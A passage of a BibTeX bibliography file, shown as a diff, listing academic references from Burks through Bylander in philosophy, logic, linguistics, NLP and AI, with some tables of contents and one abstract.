{Philosophy of Science}, + year = {1955}, + volume = {22}, + number = {3}, + pages = {175--193}, + topic = {dispositions;} + } + +@article{ burks:1955b, + author = {Arthur W. Burks}, + title = {On the Presuppositions of Induction}, + journal = {The Review of Metaphysics}, + year = {1955}, + volume = {8}, + number = {4}, + pages = {576--611}, + topic = {induction;} + } + +@book{ burks:1963a, + author = {Arthur W. Burks}, + title = {Chance, Cause, Reason}, + publisher = {The University of Chicago Press}, + year = {1963}, + address = {Chicago}, + ISBN = {0-226-08087-0}, + topic = {philosophy-of-science;natural-laws;induction; + decision-theory;causality;dispositions;} + } + +@incollection{ burks:1988a, + author = {Arthur W. Burks}, + title = {The Logic of Evolution, and the Reduction of Holistic-Coherent + Systems to Hierarchical-Feedback Systems}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {135--191}, + address = {Dordrecht}, + topic = {philosophy-of-computation;philosophy-of-biology; + foundations-of-evolution;} + } + +@book{ burns:1991a, + author = {Linda Claire Burns}, + title = {Vagueness: An Investigation into Natural Language + and the Sorites Paradox}, + publisher = {Kluwer Academic Publishers}, + year = {1991}, + address = {Dordrecht}, + topic = {vagueness;sorites-paradox;} + } + +@inproceedings{ burns:1995a, + author = {Linda Burns}, + title = {Something To Do With Vagueness}, + booktitle = {Spindel Conference 1994: Vagueness}, + journal = {The Southern Journal of Philosophy, {\rm supplement}}, + year = {1995}, + editor = {Terry Horgan}, + volume = {33}, + pages = {23--48}, + topic = {vagueness;} + } + +@incollection{ burnyeat:1980a, + author = {Myles Burnyeat}, + title = {Can the Sceptic Live his Scepticism?}, + booktitle = {Doubt and Dogmatism: Studies in {H}ellenistic + Epistemology}, + publisher = {Oxford University Press}, + year = {1980}, + editor = {Malcolm Schofield and Myles Burnyeat and Jonathan Barnes}, + pages = {19--53}, + address = {Oxford}, + topic = {skepticism;} + } + +@book{ burnyeat-frede:1997a, + editor = {Myles Burnyeat and Michael Frede}, + title = {The Original Sceptics: A Controversy}, + publisher = {Hackett Publishing Co.}, + year = {1997}, + address = {Indianapolis}, + contentnote = {TC: + 1. M. Frede, "The Sceptic's Beliefs" + 2. M. Burnyeat, "Can the Sceptic Live His Scepticism?" + 3. J. Barnes, "The Beliefs of a Pyrrhonist" + 4. M. Burnyeat, "The Sceptic in His Place and Time" + 5. M. Frede, "The Sceptic's Two Kinds of Assent" + } , + topic = {skepticism;ancient-philosophy;} + } + +@article{ buro:2002a, + author = {Michael Buro}, + title = {Improving Heuristic Mini-Max Search by Supervised Learning}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {85--99}, + topic = {game-trees;search;machine-learning;} + } + +@article{ burrell:1964a, + author = {David Burrell}, + title = {Aristotle and Future Contingencies}, + journal = {Philosophical Studies (Ireland)}, + year = {1964}, + volume = {13}, + pages = {37--52}, + topic = {Aristotle;future-contingent-propositions;} + } + +@book{ burris:1998a, + author = {Stanley N. Burris}, + title = {Logic for Mathematics and Computer Science}, + publisher = {Prentice Hall}, + year = {1998}, + address = {Upper Saddle River, New Jersey}, + ISBN = {0132859742}, + topic = {logic-in-CS;logic-in-CS-intro;} + } + +@inproceedings{ burrows-etal:1988a, + author = {Michael Burrows and Martin Abadi and Roger Needham}, + title = {Authentication: A Practical Study in Knowledge and Action}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {325--342}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {distributed-systems;protocol-analysis;} + } + +@book{ burstein-leacock:1997a, + editor = {Jill Burstein and Claudia Leacock}, + title = {From Research to Commercial Applications: Making + {NLP} Work in Practice}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Chinatsu Aone and John Maloney, "Re-Use of a Proper Noun + Recognition System in Commercial and Operational + {NLP} Applications", pp. 1--6 + 2. Cornelia Tschichold and Franck Bodmer and Etienne Cornu and + Francois Grosjean and Lysiane Grojean and Natalie + Kubler and Nicholas Lewy and Corinne Tschumi, "Developing + a New Grammar Checker for {E}nglish as a Second + Language", pp. 7--12 + 3. Karen Kukich and Rebecca Passaneau and Kathleen McKeown and + Dragomir Radev and Vasileios Hataivassiloglou and + Hongyan Jing, "Software Re-Use and Evolution in Text + Generation Applications", pp. 13--21 + 4. James Nolan, "Estimating the True Performance of + Classification-Based {NLP} Technology", pp. 23--28 + 5. Ehud Reiter and Liesl Osman, "Tailored Patient Information: + Some Issues and Questions", 29--34 + 6. John Tait and Huw Sanderson and Jeremy Ellman and Anna Maria + Martinez San Jose and Peter Hellwig and Periklis + Tsagheas, "Practical Considerations in Building a + Multi-Lingual Authoring System for Business + Letters", pp. 35--42 + 7. Gary Adams and Philip Resnik, "A Language Identification + Application Built on the {J}ava Client-Server + Platform", pp. 43--47 + 8. Michael Gamon and Carmen Lozano and Jessie Pinkham and Tom + Reutter, "Practical Experience with Grammar Sharing + in Multilingual {NLP}", pp. 49--56 + 9. Leo Obrst and Krishna Jha, "{NLP} and Industry: Transfer and + Reuse of Technologies", pp. 57--63 + 10. Manny Rayner and David Carter and Ivan Bretan and Robert Eklund + and Mats Wir\'en and Steffen Leo Hanssen and Sabine + Kirchmeier-Andersen and Christina Philip and Finn + S{\o}rensen and Hanne Erdman Thomsen, "Recycling + Lingware in a Multilingual {MT} System", pp. 65--70 + } , + topic = {nlp-technology;} + } + +@inproceedings{ burstein-etal:1998a, + author = {Jill Burstein and Karen Kukich and Susanne Wolff and Chi + Lu and Martin Chodorow and Lisa Braden-Harder and Mary Dee + Harris}, + title = {Automated Scoring Using a Hybrid Feature Identification + Technique}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {206--210}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {nl-processing;automated-test-scoring;} +} + +@incollection{ burstein-etal:1998b, + author = {Jill Burstein and Karen Kukich and Susanne Wolff and Chi Lu + and Martin Chodorow}, + title = {Enriching Automated Essay Scoring Using Discourse + Marking}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {15--21}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure; + computer-assisted-educational-testing;} + } + +@book{ burstein-leacock:1998a, + editor = {Jill Burstein and Claudia Leacock}, + title = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Walter Daelemans, "Abstraction is Harmful in Language + Learning", pp. 1 + 2. Michael Towsey and Joachim Diederich, and Ingo Schellhammer + and Stephen Chalup and Claudia Brugman, "Natural + Language Learning by Recurrent Neural Networks: + A Comparison with Probabilistic Approaches", pp. 3--10 + 3. Sandra K\"ubler, "Learning a Lexicalized Grammar for + {G}erman", pp. 11--18 + 4. Ren\'e Schneider, "A Lexically-Intensive Algorithm for + Domain-Specific Knowledge Acquisition", pp. 19--28 + 5. Andr\'e Kempe, "Look-Back and Look-Ahead in the Conversion + of Hidden {M}arkov Models into Finite State + Transducers", pp. 29--37 + 6. Mark Johnson, "The Effect of Alternative Tree Representations + on Tree Bank Grammars", pp. 39-48- + 7. Thorsten Brants and Wojciech Skut, "Automation of Treebank + Annotation", pp. 49--57 + 8. Hamish Cunningham and Mark Stevenson and Yorick + Wilks, "Implementing a Sense Tagger in a General + Architecture for Text Engineering", pp. 59--71 + 9. Ingo Schellhammer and Joachim Diederich and Michael Towsey + and Claudia Brugman, "Knowledge Extraction and + Recurrent Neural Networks: An Analysis of an {E}lman + Network Trained on a Natural Language Learning + Task", pp. 73--78 + 10. Jason L Hutchens and Michael D. Alder, "Finding Structure + Via Compression", pp. 79--82 + 11. Christer Samuelson, "Linguistic Theory in Statistical Language + Learning", pp. 83--89 + 12. Richard McConachy and Kevin B. Korb and Ingrid + Zuckerman, "A {B}ayesian Approach to Automating + Argumentation", pp. 91--100 + 13. Stephen J. Green, "Automatically Generating Hypertext in + Newspaper Articles by Computing Semantic + Relatedness", pp. 101--110 + 14. Emin Erkan Korkmaz and G\"okt\"urk \"U\c{c}oluk, "Choosing a + Distance Metric for Automatic Word + Categorization", pp. 111--120 + 15. Patrick Saint-Dizier, "Sense Variation and Lexical Semantics + Generative Operations", pp. 121--130 + 16. Harold Somers, "An Attempt to Use Weighted Cusums to Identify + Sublanguages", pp. 131--139 + 17. Patrick Juola, "Cross-Entropy and Linguistic + Typology", pp. 141--149 + 18. David M.W. Powers, "Applications and Explanations of {Z}ipf's + Law", pp. 151--160 + 19. Peter Wallis and Edmund Yuen and Greg Chase, "Proper Name + Classification in an Information Extraction + Toolset", pp. 161--162 + 20. Robert Steele and David Powers, "Evolution and Evaluation + of Document Retrieval Properties", pp. 163--164 + 21. Ilyas Cicekli and Turgay Korkmaz, "Generation of Simple + {T}urkish Sentences with Systemic-Functional + Grammar", pp. 165--173 + 22. Ian Thomas and Ingrid Zuckerman and Bhavani + Raskutti, "Extracting Phoneme Pronunciation + Information from Corpora", pp. 175--183 + 23. Antal van der Bosch and Ton Weijters and Walter + Daelemans, "Modularity in Inductively-Learned + Word Pronunciation Systems", pp. 185--194 + 24. Antal van der Bosch and Walter Daelemans, "Do Not Forget: + Full Memory in Memory-Based Learning of Word + Pronunciation", pp. 195--204 + 25. V. kamphuis and J.J. Sarbo, "Natural Language and Concept + Analysis", pp. 205--214 + 26. Jim Entwisle and David Powers, "The Present Use of Statistics + in the Evaluation of {NLP} Parsers", pp. 215--224 + 27. Hiroki Imai and Hozumi Tanaka, "A Method of Incorporating + Bigram Constraints into an {LR} Table and its + Effectiveness in Natural Language + Processing", pp. 225--233 + 28. James M. Hogan and Joachim Diderich and Gerald D. + Finn, "Selective Attention and the Acquisition of + Spatial Semantics", pp. 235--244 + 29. Hideki Kozuma and Akira Iro, "Towards Language Acquisition + by an Attention-Sharing Robot", pp. 245--246 + 30. Michael Carl, "A Constructivist Approach to Machine + Translation", pp. 247--256 + 31. Michael Carl and Antje Schmidt-Wigger, "Shallow Post + Morphological Processing with {KURD}", pp. 257--265 + 32. Erica F. de Lima, "Induction of a Stem Lexicon for + Two-Level Morphological Analysis", pp. 267--268 + 33. Jason L. Hutchens and Michael D. Alder, "Introducing + {M}ega{H}al", pp. 271--274 + 34. V\'eronique Bastin and Denis Cordier, "Methods and Tricks + Used in an Attempt to Pass the {T}uring Test", pp. 275--277 + 35. David M.W. Powers, "The Total {T}uring Test and the {L}oebner + Prize", pp. 279--280 + 36. Zenshiro Kawasaki and Keiji Takida and Masato + Tajima, "Language Model and Sentence Structure + Manipulations for Natural Language Applications + Systems", pp. 281--286 + 37. Bradley P. Custer, "Position Paper on Appropriate + Audio/Visual {T}uring Test", pp. 287--288 + 38. Tony C. Smith, "Learning Feature-Value Grammars from Plain + Text", pp. 291--294 + 39. Herv\'e D\'ejean, "Morphemes as Necessary Concept for + Structures Discovery from Untagged Corpora", pp. 295--298 + 40. Christopher D. Manning, "The Segmentation Problem in + Morphology Learning", pp. 299--305 + 41. David M.W. Powers, "Reconciliation of Unsupervised Clustering + Segmentation and Cohesion", pp. 307--310 + 42. Isabelle Tellier, "Syntactico-Semantic Learning of Categoriacal + Grammars", pp. 311--314 + } , + topic = {nl-processing;} + } + +@article{ burtonroberts:1984a, + author = {N. Burton-Roberts}, + title = {Modality and Implicature}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {7}, + number = {2}, + pages = {181--206}, + topic = {implicature;nl-modality;} + } + +@incollection{ busemann-horacek:1998a, + author = {Stephen Busemann and Helmut Horacek}, + title = {A Flexible Shallow Approach to Text Generation}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {238--247}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;} + } + +@unpublished{ bush:2000a, + author = {Ryan Bush}, + title = {Broad and Narrow Identificational Foci}, + year = {2000}, + note = {Unpublished manuscript, University of California at + Santa Cruz.}, + topic = {s-focus;} + } + +@book{ buss_s1:1998a, + editor = {Samuel R. Buss}, + title = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + address = {Amsterdam}, + contentnote = {TC: + 1. Samuel R. Buss, "Preface", p. v + 2. Samuel R. Buss, "An Introduction to Proof Theory", pp. 1--78 + 3. Samuel R. Buss, "First-Order Proof Theory of + Arithmetic", pp. 79--147 + 4. Matt Fairtlough and Stanley S. Wainer, "Hierarchies of + Provably Recursive Functions", pp. 149--207 + 5. Wolfram Pohlers, "Subsystems of Set Theory and Second-Order + Number Theory", pp. 209--335 + 6. Jeremy Avigad and Solomon Feferman, "G\"odel's Funcional + (`Dialectica') Interpretation", pp. 337--405 + 7. A.S. Troelstra, "Realizability", pp. 407--473 + 8. Giorgi Japaridze and Dick de Jongh, "The Logic of + Provability", pp. 475--536 + 9. Pavel Pudl\'ak, "The Length of Proofs", pp. 547--637 + 10. Gerhard J\"ager and Robert F. St\"ark, "A Proof-Theoretic + Framework for Logic Programming", pp. 639--682 + } , + xref = {Review: arai:2000a.}, + topic = {proof-theory;} + } + +@incollection{ buss_s1:1998b, + author = {Samuel R. Buss}, + title = {An Introduction to Proof Theory}, + booktitle = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + editor = {Samuel R. Buss}, + pages = {1--78}, + address = {Amsterdam}, + xref = {Review: arai:1998b.}, + topic = {proof-theory;} + } + +@incollection{ buss_s1:1998c, + author = {Samuel R. Buss}, + title = {First-Order Proof Theory of Arithmetic}, + booktitle = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + editor = {Samuel R. Buss}, + pages = {79--147}, + address = {Amsterdam}, + xref = {Review: arai:1998a.}, + topic = {proof-theory;higher-order-logic;formalizations-of-arithmetic;} + } + +@article{ buss_s1-etal:2001a, + author = {Samuel R. Buss and Alexander S. Kechris and Anand + Pillay and Richard A. Shore}, + title = {The Prospects for Mathematical Logic in the Twenty-First + Century}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {2}, + pages = {169--196}, + topic = {logic-editorial;} + } + +@article{ buss_s2:1997a, + author = {Sarah Buss}, + title = {Justified Wrongdoing}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {3}, + pages = {37--369}, + topic = {ethics;moral-responsibility;} + } + +@book{ buszkowski-etal:1988a, + editor = {Wojciech Buszkowski and Witold Marciszewski and + Johan van Benthem}, + title = {Categorial Grammar}, + publisher = {Benjamins}, + year = {1988}, + address = {Amsterdam}, + ISBN = {9027215308}, + topic = {caategorial-grammar;} + } + +@article{ buszkowski:1994a, + author = {Wojciech Buszkowski}, + title = {Extending {L}ambek Grammars to Basic Categorial Grammars}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {5}, + number = {3--4}, + pages = {279--295}, + topic = {Lambek-calculus;categorial-grammar;} + } + +@incollection{ buszkowski:1996a, + author = {Wojciech Buszkowski}, + title = {Mathematical Linguistics and Proof Theory}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {683--736}, + address = {Amsterdam}, + topic = {grammar-formalisms;proof-theory;type-theory;} + } + +@article{ buszkowski-moortgat:2002a, + author = {Wojciech Buszkowski and Michael Moortgat}, + title = {Introduction (to a Special Issue on the {L}ambek + Calculus in Logic and Linguistics}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {3}, + pages = {261--276}, + topic = {Lambek-calculus;linear-logic;} + } + +@incollection{ butchvarov:1978a, + author = {Panayot Butchvarov}, + title = {Identity}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {159--178}, + address = {Minneapolis}, + topic = {identity;(non)existence;philosophy-of-language;} + } + +@article{ butler:1955a, + author = {Ronald J. Butler}, + title = {Aristotle's Sea-Fight and Three-Valued Logic}, + journal = {Philosophical-Review}, + year = {1955}, + volume = {64}, + pages = {264--274}, + missinginfo = {number}, + topic = {future-contingent-propositions;multi-valued-logic;} + } + +@book{ butler:1962a, + editor = {Ronald J. Butler}, + title = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + address = {New York}, + contentnote = {TC: + 1. Zeno Vendler, "Effects, Results, and Consequences", pp. 1--15 + 2. Sylvan Bromberger, "What Are Effects?", pp. 15--20 + 3. W.H. Dray, "Must Effects Have Causes?", pp. 20--25 + 4. Zeno Vendler, "Reactions and Retractions", pp. 25--31 + 5. J.R. Lucas, "Causation", pp. 32--65 + 6. J.L. Mackie, "Counterfactuals and Causal Laws", pp. 66--80 + 7. Richard Cartwright, "Propositions", pp. 81--103 + 8. J.F. Thomson, "On Some Paradoxes", pp. 104--119 + 9. Arthur N. Prior, "Nonentities", pp. 120--132 + 10. H. Paul Grice, "Some Remarks about the Senses", pp. 133-- + 11. D. Gasking, "Avowals", pp. 154--169 + 12. M.E. Lean, "{M}r. {G}asking on Avowals", pp. 169--186 + 13. R.C. Buck, "Non-Other Minds", pp. 187--210 + 14. Hilary Putnam, "Dreaming and `Depth Grammar'\,", pp. 211--235 + } , + topic = {analytic-philosophy;} + } + +@book{ butler:1965a, + editor = {Ronald J. Butler}, + title = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + address = {Oxford}, + contentnote = {TC: + 1. Hilary Putnam, "Brains and Behavior", pp. 1--19 + 2. David Savan, "Socrates' Logic and the Unity of Wisdom and + Temperance", pp. 20--26 + 3. Bede Rundle, "Modality and Quantification", pp. 27--39 + 4. David Wiggins, "Identity-Statements", pp. 40--71 + 5. Sylvan Bromberger, "An Approach to Explanation", pp. 72--105 + 6. Julius Moravcsik, "Strawson and Ontological Priority", pp. 106--119 + 7. Michael J. Woods, "Identity and Individuation", pp. 120--130 + 8. Richard M.P. Malpas, "The Location of Sound", pp. 131--144 + 9. J.M. Shorter, "Causality, and a Method of Analysis", pp. 145--157 + 10. G.E.M. Anscombe, "The Intentionality of Sensation", pp. 158--180 + 11. Ronald J. Butler, "{M}essrs. {G}oodman, {G}reen and + {G}rue", pp. 181--193 + } , + topic = {analytic-philosophy;} + } + +@book{ butt-geuder:1998a, + editor = {Miriam Butt and Wilhelm Geuder}, + title = {The Projection of Arguments: Lexical and Compositional + Factors}, + publisher = {CSLI Publications}, + year = {1998}, + address = {Stanford}, + ISBN = {1575861119}, + contentnote = {TC: + 1. William Croft, "Event Structure in Argument Linking" + 2. Gillian Catriona Ramchand, "Deconstructing the Lexicon" + 3. Malka Rappaport Hovav and Beth Levin, "Building + Verb Meanings" + 4. Elizabeth Ritter and Sara Thomas Rosen, "Delimiting + Events in Syntax" + 5. K.P. Mohanan and Tara Mohanan, "Strong and Weak Projection, + Lexical Reflexives and Reciprocals" + 6. Eloise Jelinek, "Voice and Transitivity as Functional + Projections in {Y}aqui" + 7. Veerle van Geenhoven, "On the Argument Structure + of Some Noun Incorporating Verbs in {W}est + {G}reenlandic" + 8. Paul Kiparsky, "Partitive Case and Aspect" + 9. Ad Neeleman and Tanya Reinhart, "Scrambling + and the {PF} Interface" + } , + topic = {lexical-semantics;event-structure;argument-structure;} + } + +@book{ butt-etal:1999a, + author = {Mirian Butt and Tracy Holloway King and Mar\'ia-Eugenia + Ni\~no amd Fr\'ed\'erique Segond}, + title = {A Grammar Writer's Cookbook}, + publisher = {{CSLI} Publications}, + year = {1999}, + address = {Stanford, California}, + ISBN = {1-57586-170-4}, + xref = {Review: maxwell:2000a.Review: johnson_c:2001a.}, + topic = {grammatical-writing;} + } + +@book{ butt-king_tw:2001a, + editor = {Miriam Butt and Tracy Holloway King}, + title = {Time Over Matter: Diachronic Perspectives On Morphosyntax}, + publisher = {CLSI Publications}, + year = {2001}, + address = {Stanford}, + ISBN = {1575862816}, + topic = {morphology;syntax;historical-linguistics;} + } + +@incollection{ butterworth:1994a, + author = {George Butterworth}, + title = {Infant Intelligence}, + booktitle = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {1994}, + editor = {Jean Khalfa}, + pages = {49--71}, + address = {Cambridge, England}, + topic = {intelligence;developmental-psychology;} + } + +@book{ butts-hintikka:1977a, + editor = {Robert E. Butts and Jaakko Hintikka}, + title = {Basic Problems in Methodology and Linguistics}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + address = {Dordrecht}, + topic = {philosophy-of-linguistics;} + } + +@inproceedings{ buvac-mason_m:1993a, + author = {Sa\v{s}a Buva\v{c} and Ian Mason}, + title = {Propositional Logic of Context}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {412--419}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;logic-of-context;logic-of-context;} + } + +@unpublished{ buvac:1995a, + author = {Sa\v{s}a Buva\v{c}}, + title = {Ambiguity Via Formal Theory of Context}, + year = {1995}, + note = {Available from http://www-formal.stanford.edu/buvac.}, + topic = {context;ambiguity;} + } + +@unpublished{ buvac:1995b, + author = {Sa\v{s}a Buva\v{c}}, + title = {Semantics of Translation}, + year = {1995}, + note = {Available from http://www-formal.stanford.edu/buvac.}, + topic = {context;} + } + +@book{ buvac:1995c, + editor = {Sasa Buva\v{c}}, + title = {Working Papers of the {AAAI} Fall Symposium on + Formalizing Context}, + publisher = {American Association for Artificial Intelligence}, + year = {1995}, + address = {Menlo Park, California}, + contentnote = {TC: + 1. Barbara Grosz, "Essential Ambiguity: The Role of Context in + Natural-Language Processing", p. 1 + 2. Ramanathan Guha, "Mechanisms in Implemented {KR} Systems", p. 2 + 3. Patrick Hayes, "What is a Context?", p. 3 + 4. Carl Hewitt, "From Contexts to Negotiation Forums", pp. 4--5 + 5. John McCarthy, "Varieties of Formalized Contexts and + Subcontexts", p. 6 + 6. Robert Stalnaker, "On the Representation of Context", pp. 7--8 + 7. Giuseppe Attardi and Maria Simi, "Beppo Had a Dream", pp. 9--22 + 8. Varol Akman and Mehmet Surav, "Contexts, Oracles, and + Relevance", pp. 23--30 + 9. Phillipe Besnard and Yao-Hua Tan, "A Modal Logic with + Context-Dependent Inference for Non-Monotonic + Reasoning", pp. 31--38 + 10. Raj Bhatnagar, "Probabilistic Contexts for Reasoning", pp. 39--46 + 11. Pierre E. Bonzon, "A Meta-Level Inference Architecture for + Contexts", pp. 47--54 + 12. Robert Demolombe, "Reasoning about Topics: Towards a Formal + Theory", pp. 55--59 + 13. Fabio Massacci, "Superficial Tableau for Contextual + Reasoning", pp. 60--67 + 14. L. Thorne McCarty, "An Implementation of Eisner v. + Macomber", pp. 68--78 + 15. Narinder Singh and Omar Tawakol and Michael + Genesereth, "A Name-Space Context Graph for + Multi-Context, Multi-Agent Systems", pp. 79--84 + 16. John Sowa, "Syntax, Semantics, and Pragmatics of + Contexts", pp. 85--96 + 17. Alice ter Meulen, "Content in Context", pp. 97--109 + 18. Kees van Deemter, "Semantic Vagueness and + Context-Dependence", pp. 110--117 + } , + topic = {context;} + } + +@inproceedings{ buvac-etal:1995a, + author = {Sa\v{s}a Buva\v{c} and Vanja Buva\v{c} and Ian Mason}, + title = {The Semantics of Propositional Contexts}, + booktitle = {Proceedings of the Eighth International Symposium on + Methodologies for Intelligent Systems}, + year = {1995}, + publisher = {Springer-Verlag}, + address = {Berlin}, + missinginfo = {pages}, + note = {Available from http://www-formal.stanford.edu/buvac.}, + topic = {context;logic-of-context;} + } + +@article{ buvac-etal:1995b, + author = {Sa\v{s}a Buva\v{c} and Vanja Buva\v{c} and Ian Mason}, + title = {Metamathematics of Contexts}, + journal = {Fundamenta Mathematicae}, + volume = {23}, + number = {3}, + year = {1995}, + note = {Available from http://www-formal.stanford.edu/buvac.}, + topic = {context;logic-of-context;} + } + +@inproceedings{ buvac-fikes:1995a, + author = {Sa\v{s}a Buva\v{c} and Richard Fikes}, + title = {A Declarative Formalization of Knowledge Translation}, + booktitle = {Proceedings of the {ACM} {CIKM}: the Fourth International + Conference in Information and Knowledge Management}, + year = {1995}, + note = {Available from http://www-formal.stanford.edu/buvac.}, + missinginfo = {editor, publisher, address, pages}, + topic = {context;knowledge-integration;} + } + +@inproceedings{ buvac-fikes:1995b, + author = {Sasa Buva\v{c} and Richard Fikes}, + title = {Preface}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {iii--iv}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + note = {Abstract.}, + topic = {context;ambiguity;logic-of-context;} + } + +@inproceedings{ buvac:1996a, + author = {Sasa Buva\v{c}}, + title = {Quantificational Logic of Context}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {600--606}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;logic-of-context;} + } + +@incollection{ buvac:1996b, + author = {Sasa Buva\v{c}}, + title = {Resolving Lexical Ambiguity Using a Formal + Theory of Context}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Kees {van Deemter} and Stanley Peters}, + address = {Cambridge, England}, + pages = {101--124}, + topic = {context;ambiguity;semantic-underspecification; + lexical-disambiguation;disambiguation;} + } + +@incollection{ buvac-mccarthy_j1:1996a, + author = {Sasa Buva\v{c} and John McCarthy}, + title = {Combining Planning Contexts}, + booktitle = {Advanced Planning Technology: Technological + Achievements of the {ARPA}/Rome Laboratory Planning Initiative}, + year = {1996}, + editor = {Austin Tate}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {context;planning;} + } + +@inproceedings{ buvac:1997a, + author = {Sasa Buva\v{c}}, + title = {Pragmatical Considerations on Logical {AI}}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {38--40}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;pragmatics;} + } + +@book{ buvac-iwanska:1997a, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + title = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + publisher = {American Association for Artificial Intelligence}, + year = {1997}, + address = {Menlo Park, California}, + topic = {context;} + } + +@article{ buvac-kameyama:1998a, + author = {Sa\v{s}a Buva\v{c} and Megumi Kameyama}, + title = {Introduction: Toward a Unified Theory of Context?}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {1}, + pages = {1--2}, + topic = {context;} + } + +@article{ buxton-gong:1995a, + author = {Hilary Buxton and Shaogang Gong}, + title = {Visual Surveillance in a Dynamic and Uncertain World}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {431--459}, + acontentnote = {Abstract: + Advanced visual surveillance systems not only need to track + moving objects but also interpret their patterns of behaviour. + This means that solving the information integration problem + becomes very important. We use conceptual knowledge of both the + scene and the visual task to provide constraints. We also + control the system using dynamic attention and selective + processing. Bayesian belief networks support this and allow us + to model dynamic dependencies between parameters involved in + visual interpretation. We illustrate these arguments using + experimental results from a traffic surveillance application. In + particular, we demonstrate that using expectations of object + trajectory, size and speed for the particular scene improves + robustness and sensitivity in dynamic tracking and segmentation. + We also demonstrate behavioral evaluation under attentional + control using a combination of a static BBN TASKNET and dynamic + network. The causal structure of these networks provides a + framework for the design and integration of advanced vision + systems. } , + topic = {Bayesian-networks;visual-surveillance;motion-tracking; + computer-vision;} + } + +@book{ bybee-fleishman:1995a, + author = {Joan Bybee and Suzanne Fleishman}, + title = {Modality in Grammar and Discourse}, + publisher = {John Benjamins Publishing Company}, + year = {1996}, + address = {Amsterdam}, + topic = {nl-modality;pragmatics;} + } + +@incollection{ bylander-etal:1989a1, + author = {Tom Bylander and Dean Allemang and Michael C. Tanner and + John R. Josephson}, + title = {Some Results Concerning the Computational Complexity of + Abduction}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {44--54}, + address = {San Mateo, California}, + xref = {Journal publication: bylander-etal:1989a1.}, + topic = {kr;kr-course;abduction;kr-complexity-analysis;} + } + +@incollection{ bylander:1991a1, + author = {Tom Bylander}, + title = {The Monotonic Abduction Problem: A Functional + Characterization on the Edge of Tractability}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {70--77}, + address = {San Mateo, California}, + xref = {Journal publication: bylander-etal:1991a2.}, + 